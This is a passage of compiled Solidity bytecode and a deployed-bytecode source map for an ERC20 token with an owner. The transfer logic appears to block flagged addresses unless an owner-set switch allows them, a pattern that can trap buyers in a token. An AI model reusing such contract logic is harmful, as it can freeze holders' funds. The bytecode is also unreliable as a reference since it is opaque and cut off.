0000000000000000000000000000000000000000000000000081526004016110c4906120a3565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118e4565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112279061210f565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906121a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612233565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906122c5565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a79061230b565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118e4565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612377565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b8381111561174f576000848401525b50505050565b6000601f19601f8301169050919050565b600061177182611706565b61177b8185611711565b935061178b818560208601611722565b61179481611755565b840191505092915050565b600060208201905081810360008301526117b98184611766565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117f6826117cb565b9050919050565b611806816117eb565b811461181157600080fd5b50565b600081359050611823816117fd565b92915050565b6000819050919050565b61183c81611829565b811461184757600080fd5b50565b60008135905061185981611833565b92915050565b60008060408385031215611876576118756117c1565b5b600061188485828601611814565b92505060206118958582860161184a565b9150509250929050565b60008115159050919050565b6118b48161189f565b82525050565b60006020820190506118cf60008301846118ab565b92915050565b6118de81611829565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080600060608486031215611918576119176117c1565b5b600061192686828701611814565b935050602061193786828701611814565b92505060406119488682870161184a565b9150509250925092565b600060ff82169050919050565b61196881611952565b82525050565b6000602082019050611983600083018461195f565b92915050565b60006020828403121561199f5761199e6117c1565b5b60006119ad84828501611814565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119db576119da6119b6565b5b8235905067ffffffffffffffff8111156119f8576119f76119bb565b5b602083019150836020820283011115611a1457611a136119c0565b5b9250929050565b60008083601f840112611a3157611a306119b6565b5b8235905067ffffffffffffffff811115611a4e57611a4d6119bb565b5b602083019150836020820283011115611a6a57611a696119c0565b5b9250929050565b60008060008060008060608789031215611a8e57611a8d6117c1565b5b600087013567ffffffffffffffff811115611aac57611aab6117c6565b5b611ab889828a016119c5565b9650965050602087013567ffffffffffffffff811115611adb57611ada6117c6565b5b611ae789828a016119c5565b9450945050604087013567ffffffffffffffff811115611b0a57611b096117c6565b5b611b1689828a01611a1b565b92509250509295509295509295565b60008060208385031215611b3c57611b3b6117c1565b5b600083013567ffffffffffffffff811115611b5a57611b596117c6565b5b611b66858286016119c5565b92509250509250929050565b60008060008060608587031215611b8c57611b8b6117c1565b5b600085013567ffffffffffffffff811115611baa57611ba96117c6565b5b611bb6878288016119c5565b94509450506020611bc98782880161184a565b9250506040611bda8782880161184a565b91505092959194509250565b611bef816117eb565b82525050565b6000602082019050611c0a6000830184611be6565b92915050565b60008060408385031215611c2757611c266117c1565b5b6000611c3585828601611814565b9250506020611c4685828601611814565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9757607f821691505b602082108103611caa57611ca9611c50565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cea82611829565b9150611cf583611829565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d2a57611d29611cb0565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d6f82611829565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da157611da0611cb0565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611ddb611dd6611dd184611dac565b611db6565b611829565b9050919050565b611deb81611dc0565b82525050565b6000608082019050611e066000830187611de2565b611e1360208301866118d5565b611e2060408301856118d5565b611e2d6060830184611de2565b95945050505050565b6000608082019050611e4b60008301876118d5565b611e586020830186611de2565b611e656040830185611de2565b611e7260608301846118d5565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ed7602583611711565b9150611ee282611e7b565b604082019050919050565b60006020820190508181036000830152611f0681611eca565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f69602683611711565b9150611f7482611f0d565b604082019050919050565b60006020820190508181036000830152611f9881611f5c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ffb602483611711565b915061200682611f9f565b604082019050919050565b6000602082019050818103600083015261202a81611fee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061208d602283611711565b915061209882612031565b604082019050919050565b600060208201905081810360008301526120bc81612080565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120f9601d83611711565b9150612104826120c3565b602082019050919050565b60006020820190508181036000830152612128816120ec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061218b602583611711565b91506121968261212f565b604082019050919050565b600060208201905081810360008301526121ba8161217e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061221d602383611711565b9150612228826121c1565b604082019050919050565b6000602082019050818103600083015261224c81612210565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122af602683611711565b91506122ba82612253565b604082019050919050565b600060208201905081810360008301526122de816122a2565b9050919050565b50565b60006122f5600083611711565b9150612300826122e5565b600082019050919050565b60006020820190508181036000830152612324816122e8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612361602083611711565b915061236c8261232b565b602082019050919050565b6000602082019050818103600083015261239081612354565b905091905056fea2646970667358221220b3309d9de152e05ae3e799d07fa4b971ab9b871edd3eba14ee67c385d44a50ee64736f6c634300080e0033

Deployed Bytecode Sourcemap

36540:161:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8962:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11311:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10080:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12092:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9924:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22266:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12796:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21054:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10251:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21308:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6062:103;;;:::i;:::-;;20557:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21848:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9181:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21549:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13537:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10584:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21181:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22148:110;;;:::i;:::-;;10840:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20840:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6320:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8962:100;9016:13;9049:5;9042:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8962:100;:::o;11311:201::-;11394:4;11411:13;11427:12;:10;:12::i;:::-;11411:28;;11450:32;11459:5;11466:7;11475:6;11450:8;:32::i;:::-;11500:4;11493:11;;;11311:201;;;;:::o;10080:108::-;10141:7;10168:12;;10161:19;;10080:108;:::o;12092:295::-;12223:4;12240:15;12258:12;:10;:12::i;:::-;12240:30;;12281:38;12297:4;12303:7;12312:6;12281:15;:38::i;:::-;12330:27;12340:4;12346:2;12350:6;12330:9;:27::i;:::-;12375:4;12368:11;;;12092:295;;;;;:::o;9924:93::-;9982:5;10007:2;10000:9;;9924:93;:::o;22266:97::-;5307:13;:11;:13::i;:::-;22348:7:::1;22340:5;;:15;;;;;;;;;;;;;;;;;;22266:97:::0;:::o;12796:238::-;12884:4;12901:13;12917:12;:10;:12::i;:::-;12901:28;;12940:64;12949:5;12956:7;12993:10;12965:25;12975:5;12982:7;12965:9;:25::i;:::-;:38;;;;:::i;:::-;12940:8;:64::i;:::-;13022:4;13015:11;;;12796:238;;;;:::o;21054:119::-;21118:4;21142:12;:23;21155:9;21142:23;;;;;;;;;;;;;;;;;;;;;;;;;21135:30;;21054:119;;;:::o;10251:127::-;10325:7;10352:9;:18;10362:7;10352:18;;;;;;;;;;;;;;;;10345:25;;10251:127;;;:::o;21308:233::-;21429:9;21424:110;21448:5;;:12;;21444:1;:16;21424:110;;;21506:3;;21510:1;21506:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21487:35;;21496:5;;21502:1;21496:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21487:35;;;21514:4;;21519:1;21514:7;;;;;;;:::i;:::-;;;;;;;;21487:35;;;;;;:::i;:::-;;;;;;;;21462:3;;;;;:::i;:::-;;;;21424:110;;;;21308:233;;;;;;:::o;6062:103::-;5307:13;:11;:13::i;:::-;6127:30:::1;6154:1;6127:18;:30::i;:::-;6062:103::o:0;20557:275::-;5307:13;:11;:13::i;:::-;20642:9:::1;20637:188;20661:11;;:18;;20657:1;:22;20637:188;;;20732:4;20701:12;:28;20714:11;;20726:1;20714:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20701:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;20781:4;;;;;;;;;;;20756:57;;20765:11;;20777:1;20765:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20756:57;;;20787:25;20797:11;;20809:1;20797:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20787:9;:25::i;:::-;20756:57;;;;;;:::i;:::-;;;;;;;;20681:3;;;;;:::i;:::-;;;;20637:188;;;;20557:275:::0;;:::o;21848:292::-;21952:9;21947:186;21971:11;;:18;;21967:1;:22;21947:186;;;22050:11;;22062:1;22050:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22016:49;;22021:10;;;;;;;;;;;22016:49;;;22033:1;22036:3;22041:4;22047:1;22016:49;;;;;;;;;:::i;:::-;;;;;;;;22110:5;;;;;;;;;;;22085:36;;22094:11;;22106:1;22094:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22085:36;;;22117:3;22085:36;;;;;;:::i;:::-;;;;;;;;21991:3;;;;;:::i;:::-;;;;21947:186;;;;21848:292;;;;:::o;5421:87::-;5467:7;5494:6;;;;;;;;;;;5487:13;;5421:87;:::o;9181:104::-;9237:13;9270:7;9263:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9181:104;:::o;21549:291::-;21651:9;21646:187;21670:11;;:18;;21666:1;:22;21646:187;;;21749:11;;21761:1;21749:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21715:49;;21720:10;;;;;;;;;;;21715:49;;;21732:3;21737:1;21740;21743:4;21715:49;;;;;;;;;:::i;:::-;;;;;;;;21800:11;;21812:1;21800:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21784:37;;21793:5;;;;;;;;;;;21784:37;;;21816:4;21784:37;;;;;;:::i;:::-;;;;;;;;21690:3;;;;;:::i;:::-;;;;21646:187;;;;21549:291;;;;:::o;13537:436::-;13630:4;13647:13;13663:12;:10;:12::i;:::-;13647:28;;13686:24;13713:25;13723:5;13730:7;13713:9;:25::i;:::-;13686:52;;13777:15;13757:16;:35;;13749:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13870:60;13879:5;13886:7;13914:15;13895:16;:34;13870:8;:60::i;:::-;13961:4;13954:11;;;;13537:436;;;;:::o;10584:193::-;10663:4;10680:13;10696:12;:10;:12::i;:::-;10680:28;;10719;10729:5;10736:2;10740:6;10719:9;:28::i;:::-;10765:4;10758:11;;;10584:193;;;;:::o;21181:119::-;21282:3;21266:26;;21275:5;21266:26;;;21287:4;21266:26;;;;;;:::i;:::-;;;;;;;;21181:119;;;:::o;22148:110::-;5307:13;:11;:13::i;:::-;22207:10:::1;22199:28;;:51;22228:21;22199:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22148:110::o:0;10840:151::-;10929:7;10956:11;:18;10968:5;10956:18;;;;;;;;;;;;;;;:27;10975:7;10956:27;;;;;;;;;;;;;;;;10949:34;;10840:151;;;;:::o;20840:206::-;5307:13;:11;:13::i;:::-;20932:9:::1;20927:112;20951:11;;:18;;20947:1;:22;20927:112;;;21022:5;20991:12;:28;21004:11;;21016:1;21004:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20991:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;20971:3;;;;;:::i;:::-;;;;20927:112;;;;20840:206:::0;;:::o;6320:201::-;5307:13;:11;:13::i;:::-;6429:1:::1;6409:22;;:8;:22;;::::0;6401:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6485:28;6504:8;6485:18;:28::i;:::-;6320:201:::0;:::o;4130:98::-;4183:7;4210:10;4203:17;;4130:98;:::o;17659:380::-;17812:1;17795:19;;:5;:19;;;17787:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17893:1;17874:21;;:7;:21;;;17866:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17977:6;17947:11;:18;17959:5;17947:18;;;;;;;;;;;;;;;:27;17966:7;17947:27;;;;;;;;;;;;;;;:36;;;;18015:7;17999:32;;18008:5;17999:32;;;18024:6;17999:32;;;;;;:::i;:::-;;;;;;;;17659:380;;;:::o;18330:453::-;18465:24;18492:25;18502:5;18509:7;18492:9;:25::i;:::-;18465:52;;18552:17;18532:16;:37;18528:248;;18614:6;18594:16;:26;;18586:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18698:51;18707:5;18714:7;18742:6;18723:16;:25;18698:8;:51::i;:::-;18528:248;18454:329;18330:453;;;:::o;14443:935::-;14590:1;14574:18;;:4;:18;;;14566:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14667:1;14653:16;;:2;:16;;;14645:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14722:38;14743:4;14749:2;14753:6;14722:20;:38::i;:::-;14773:19;14795:9;:15;14805:4;14795:15;;;;;;;;;;;;;;;;14773:37;;14844:6;14829:11;:21;;14821:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14908:12;:18;14921:4;14908:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;14930:12;:16;14943:2;14930:16;;;;;;;;;;;;;;;;;;;;;;;;;14908:38;14904:84;;;14979:4;14956:27;;:19;;;;;;;;;;;:27;;;14948:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;14904:84;15056:6;15042:11;:20;15024:9;:15;15034:4;15024:15;;;;;;;;;;;;;;;:38;;;;15259:6;15242:9;:13;15252:2;15242:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15309:2;15294:26;;15303:4;15294:26;;;15313:6;15294:26;;;;;;:::i;:::-;;;;;;;;15333:37;15353:4;15359:2;15363:6;15333:19;:37::i;:::-;14555:823;14443:935;;;:::o;5586:132::-;5661:12;:10;:12::i;:::-;5650:23;;:7;:5;:7::i;:::-;:23;;;5642:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5586:132::o;6681:191::-;6755:16;6774:6;;;;;;;;;;;6755:25;;6800:8;6791:6;;:17;;;;;;;;;;;;;;;;;;6855:8;6824:40;;6845:8;6824:40;;;;;;;;;;;;6744:128;6681:191;:::o;20115:125::-;;;;:::o;19387:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:117::-;5345:1;5342;5335:12;5359:117;5468:1;5465;5458:12;5482:117;5591:1;5588;5581:12;5622:568;5695:8;5705:6;5755:3;5748:4;5740:6;5736:17;5732:27;5722:122;;5763:79;;:::i;:::-;5722:122;5876:6;5863:20;5853:30;;5906:18;5898:6;5895:30;5892:117;;;5928:79;;:::i;:::-;5892:117;6042:4;6034:6;6030:17;6018:29;;6096:3;6088:4;6080:6;6076:17;6066:8;6062:32;6059:41;6056:128;;;6103:79;;:::i;:::-;6056:128;5622:568;;;;;:::o;6213:::-;6286:8;6296:6;6346:3;6339:4;6331:6;6327:17;6323:27;6313:122;;6354:79;;:::i;:::-;6313:122;6467:6;6454:20;6444:30;;6497:18;6489:6;6486:30;6483:117;;;6519:79;;:::i;:::-;6483:117;6633:4;6625:6;6621:17;6609:29;;6687:3;6679:4;6671:6;6667:17;6657:8;6653:32;6650:41;6647:128;;;6694:79;;:::i;:::-;6647:128;6213:568;;;;;:::o;6787:1309::-;6945:6;6953;6961;6969;6977;6985;7034:2;7022:9;7013:7;7009:23;7005:32;7002:119;;;7040:79;;:::i;:::-;7002:119;7188:1;7177:9;7173:17;7160:31;7218:18;7210:6;7207:30;7204:117;;;7240:79;;:::i;:::-;7204:117;7353:80;7425:7;7416:6;7405:9;7401:22;7353:80;:::i;:::-;7335:98;;;;7131:312;7510:2;7499:9;7495:18;7482:32;7541:18;7533:6;7530:30;7527:117;;;7563:79;;:::i;:::-;7527:117;7676:80;7748:7;7739:6;7728:9;7724:22;7676:80;:::i;:::-;7658:98;;;;7453:313;7833:2;7822:9;7818:18;7805:32;7864:18;7856:6;7853:30;7850:117;;;7886:79;;:::i;:::-;7850:117;7999:80;8071:7;8062:6;8051:9;8047:22;7999:80;:::i;:::-;7981:98;;;;7776:313;6787:1309;;;;;;;;:::o;8102:559::-;8188:6;8196;8245:2;8233:9;8224:7;8220:23;8216:32;8213:119;;;8251:79;;:::i;:::-;8213:119;8399:1;8388:9;8384:17;8371:31;8429:18;8421:6;8418:30;8415:117;;;8451:79;;:::i;:::-;8415:117;8564:80;8636:7;8627:6;8616:9;8612:22;8564:80;:::i;:::-;8546:98;;;;8342:312;8102:559;;;;;:::o;8667:849::-;8771:6;8779;8787;8795;8844:2;8832:9;8823:7;8819:23;8815:32;8812:119;;;8850:79;;:::i;:::-;8812:119;8998:1;8987:9;8983:17;8970:31;9028:18;9020:6;9017:30;9014:117;;;9050:79;;:::i;:::-;9014:117;9163:80;9235:7;9226:6;9215:9;9211:22;9163:80;:::i;:::-;9145:98;;;;8941:312;9292:2;9318:53;9363:7;9354:6;9343:9;9339:22;9318:53;:::i;:::-;9308:63;;9263:118;9420:2;9446:53;9491:7;9482:6;9471:9;9467:22;9446:53;:::i;:::-;9436:63;;9391:118;8667:849;;;;;;;:::o;9522:118::-;9609:24;9627:5;9609:24;:::i;:::-;9604:3;9597:37;9522:118;;:::o;9646:222::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9790:71;9858:1;9847:9;9843:17;9834:6;9790:71;:::i;:::-;9646:222;;;;:::o;9874:474::-;9942:6;9950;9999:2;9987:9;9978:7;9974:23;9970:32;9967:119;;;10005:79;;:::i;:::-;9967:119;10125:1;10150:53;10195:7;10186:6;10175:9;10171:22;10150:53;:::i;:::-;10140:63;;10096:117;10252:2;10278:53;10323:7;10314:6;10303:9;10299:22;10278:53;:::i;:::-;10268:63;;10223:118;9874:474;;;;;:::o;10354:180::-;10402:77;10399:1;10392:88;10499:4;10496:1;10489:15;10523:4;10520:1;10513:15;10540:320;10584:6;10621:1;10615:4;10611:12;10601:22;;10668:1;10662:4;10658:12;10689:18;10679:81;;10745:4;10737:6;10733:17;10723:27;;10679:81;10807:2;10799:6;10796:14;10776:18;10773:38;10770:84;;10826:18;;:::i;:::-;10770:84;10591:269;10540:320;;;:::o;10866:180::-;10914:77;10911:1;10904:88;11011:4;11008:1;11001:15;11035:4;11032:1;11025:15;11052:305;11092:3;11111:20;11129:1;11111:20;:::i;:::-;11106:25;;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11299:1;11231:66;11227:74;11224:1;11221:81;11218:107;;;11305:18;;:::i;:::-;11218:107;11349:1;11346;11342:9;11335:16;;11052:305;;;;:::o;11363:180::-;11411:77;11408:1;11401:88;11508:4;11505:1;11498:15;11532:4;11529:1;11522:15;11549:233;11588:3;11611:24;11629:5;11611:24;:::i;:::-;11602:33;;11657:66;11650:5;11647:77;11644:103;;11727:18;;:::i;:::-;11644:103;11774:1;11767:5;11763:13;11756:20;;11549:233;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:60::-;11907:3;11928:5;11921:12;;11879:60;;;:::o;11945:158::-;12003:9;12036:61;12054:42;12063:32;12089:5;12063:32;:::i;:::-;12054:42;:::i;:::-;12036:61;:::i;:::-;12023:74;;11945:158;;;:::o;12109:147::-;12204:45;12243:5;12204:45;:::i;:::-;12199:3;12192:58;12109:147;;:::o;12262:585::-;12455:4;12493:3;12482:9;12478:19;12470:27;;12507:79;12583:1;12572:9;12568:17;12559:6;12507:79;:::i;:::-;12596:72;12664:2;12653:9;12649:18;12640:6;12596:72;:::i;:::-;12678;12746:2;12735:9;12731:18;12722:6;12678:72;:::i;:::-;12760:80;12836:2;12825:9;12821:18;12812:6;12760:80;:::i;:::-;12262:585;;;;;;;:::o;12853:::-;13046:4;13084:3;13073:9;13069:19;13061:27;;13098:71;13166:1;13155:9;13151:17;13142:6;13098:71;:::i;:::-;13179:80;13255:2;13244:9;13240:18;13231:6;13179:80;:::i;:::-;13269;13345:2;13334:9;13330:18;13321:6;13269:80;:::i;:::-;13359:72;13427:2;13416:9;13412:18;13403:6;13359:72;:::i;:::-;12853:585;;;;;;;:::o;13444:224::-;13584:34;13580:1;13572:6;13568:14;13561:58;13653:7;13648:2;13640:6;13636:15;13629:32;13444:224;:::o;13674:366::-;13816:3;13837:67;13901:2;13896:3;13837:67;:::i;:::-;13830:74;;13913:93;14002:3;13913:93;